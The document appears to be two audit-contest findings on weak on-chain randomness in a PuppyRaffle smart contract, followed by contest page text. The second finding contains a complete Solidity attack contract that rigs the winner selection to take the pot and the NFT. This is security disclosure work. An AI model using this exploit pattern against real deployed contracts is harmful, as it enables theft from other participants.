Vulnerability Details
The randomness of some variables winnerIndex, rarity could be subject of exploitation, as they are calculated by the state of the blockchain, making it possible for an actor to calculate all the possible outcomes, and call selectWinner() in a determined time to win the raffle. In this case the Validator can know the result of this line:
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
What it could do the Validator when running the code is to run the line above
Impact
High / Medium - Validator could create a series of transactions to guarantee a specific winner
Exploit
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
This is the line which determines the winnerIndex (the index inside the players array), since the Paris upgrade block.difficulty doesn't work as before, It doesn't get the hashrate of the network, as now Ethereum is PoS. Now block.difficulty is an alias for block.prevrandao (A random number determined in a previous block in the beacon chain).
More info can be found here https://eips.ethereum.org/EIPS/eip-4399.
It's possible for a Validator to run the snippet above adding 1 to the length of the players (in case if he wants to add a address), or try for different timestamps with prevrandao of the previous block and try different timestamps until it gets the desired index. In case of wanting to add an address it will call the enterRaffle() and then execute the code of selectWinner(), this must be withing the same block when adding the transactions to Ethereum to know the value of block.prevrandao.
Although this is unlikely to happen, because of the mechanism of Ethereum with PoS, which selects a node at based on the ammount of Ether staked, a big part of the Network of nodes will need to be aware of this contract and actively search to exploit it. The randomness of the protocol could be better, but is no reason to alarm.
Recommendations
Use a service which ensures a random number who cannot be determined by the state of the blockchain or an Actor at the moment of execution, I recommend to implement the service VRF, developed by Chainlink, a service that provides of a random number.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.